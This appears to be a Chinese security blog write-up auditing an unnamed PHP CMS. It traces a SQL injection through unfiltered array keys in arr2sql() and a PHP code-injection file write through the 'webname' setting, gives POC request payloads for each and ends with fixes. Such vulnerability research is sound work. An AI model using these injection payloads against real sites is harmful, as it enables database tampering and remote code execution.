记一次某源码审计
字数 800 2025-08-20 18:18:05
源码审计实战:SQL注入与文件写入漏洞分析
前言
本文记录了对某CMS系统的源码审计过程,发现了两个安全漏洞:一个SQL注入漏洞和一个文件写入漏洞。审计过程从数据库操作函数入手,通过数据流分析追踪到可利用的前端入口点。
1. SQL注入漏洞分析
1.1 漏洞根源
漏洞位于arr2sql()函数中,该函数用于将数组转换为SQL语句:
private function arr2sql($arr) {
$s = '';
foreach($arr as $k=>$v) {
$v = addslashes($v);
$s .= "$k='$v',";
}
return rtrim($s, ',');
}
问题点:
- 只对数组值(
$v)进行了addslashes()转义 - 数组键(
$k)未经任何过滤直接拼接进SQL语句
1.2 漏洞利用链
1.2.1 调用arr2sql()的函数
- 插入操作函数:
public function set($key, $data) {
if(!is_array($data)) return FALSE;
list($table, $keyarr) = $this->key2arr($key);
$data += $keyarr;
$s = $this->arr2sql($data);
$exists = $this->get($key);
if(empty($exists)) {
return $this->query("INSERT INTO {$this->tablepre}$table SET $s", $this->wlink);
} else {
return $this->update($key, $data);
}
}
- 更新操作函数:
public function update($key, $data) {
list($table, $keyarr, $keystr) = $this->key2arr($key);
$s = $this->arr2sql($data);
return $this->query("UPDATE {$this->tablepre}$table SET $s WHERE $keystr LIMIT 1", $this->wlink);
}
1.2.2 前端调用点
找到调用update()函数且键名可控的方法:
public function ajaxset(){
$id = intval(R('id', 'P'));
$cid = intval(R('cid', 'P'));
$type = R('type', 'P'); // 可控参数
$txtvalue = intval(R('txtvalue', 'P'));
empty($id) && E(1, '内容ID不能为空!');
$this->cms_content->table = 'cms_products';
$data = $this->cms_content->get($id);
$old_status = $data['status'];
$data[$type] = $txtvalue;
if($type == 'status' && $txtvalue == 0){
$data['whys'] = '';
}
if(!$this->cms_content->update($data)) {
E(1, '更新出错');
}
// ...省略后续代码...
}
其中R()函数用于获取请求参数:
function R($k, $var = 'G') {
switch($var) {
case 'G': $var = &$_GET; break;
case 'P': $var = &$_POST; break;
case 'C': $var = &$_COOKIE; break;
case 'R': $var = isset($_GET[$k]) ? $_GET : (isset($_POST[$k]) ? $_POST : $_COOKIE); break;
case 'S': $var = &$_SERVER; break;
}
return isset($var[$k]) ? $var[$k] : null;
}
1.3 漏洞利用
POC:
id=503&type=pic%3ddatabase(),local&value=
效果:
- 将
pic字段更新为当前数据库名
2. 文件写入漏洞分析
2.1 漏洞根源
FW()函数用于写入文件内容:
function FW($filename, $data) {
$dir = dirname($filename);
is_dir($dir) || mkdir($dir, 0755, true);
return file_put_contents($filename, $data);
}
2.2 漏洞利用点
在微信支付配置功能中发现可控的文件写入:
public function setting() {
if(empty($_POST)) {
// 显示表单代码...
} else {
_trim($_POST);
$weixin = R('weixin', 'P');
$this->kv->xset('weixin', $weixin, 'pay_cfg');
$wx_notice = '';
if(!empty($weixin)){
$wxFile = PLUGIN_PATH.'nz_wxpay/wx_config.php';
$s = file_get_contents($wxFile);
$s = preg_replace("#const APPID = '\w*';#", "const APPID = '".addslashes($weixin['APPID'])."';", $s);
$s = preg_replace("#const MCHID = '\w*';#", "const MCHID = '".addslashes($weixin['MCHID'])."';", $s);
$s = preg_replace("#const KEY = '\w*';#", "const KEY = '".addslashes($weixin['KEY'])."';", $s);
$s = preg_replace("#const COMPANY = '\w*';#", "const COMPANY = '".R('webname','P')."';", $s);
if(!FW($wxFile, $s)){
$wx_notice = '!但微信配置文件写入失败...';
}
}
// ...省略后续代码...
}
}
问题点:
webname参数未经任何过滤直接写入文件- 其他参数(
APPID、MCHID、KEY)都经过addslashes()处理
2.3 漏洞利用
POC:
weixin[APPID]=1155&weixin[MCHID]=5555555&weixin[KEY]=11333311&weixin['APPSECRET']=1111&webname=aaaaaaaaa';} phpinfo();?>/*
效果:
- 在
wx_config.php文件中写入PHP代码 - 访问该文件可执行任意PHP代码
2.4 利用限制
- 需要后台管理员权限
- 依赖
COMPANY常量初始值为英文(正则\w*无法匹配中文)
总结
SQL注入漏洞修复建议
- 对数组键名也进行过滤:
private function arr2sql($arr) {
$s = '';
foreach($arr as $k=>$v) {
$k = addslashes($k); // 增加对键名的过滤
$v = addslashes($v);
$s .= "$k='$v',";
}
return rtrim($s, ',');
}
文件写入漏洞修复建议
- 对
webname参数进行严格过滤:
$company = preg_replace('/[^a-zA-Z0-9_\-\s]/', '', R('webname','P'));
$s = preg_replace("#const COMPANY = '\w*';#", "const COMPANY = '".$company."';", $s);
- 限制文件写入内容,避免PHP代码执行
审计方法论
- 从底层数据库操作函数入手,向上追踪调用链
- 关注用户输入点与危险函数的结合
- 特别注意数组键名、文件路径等容易被忽略的参数
- 正则表达式限制可能导致的安全绕过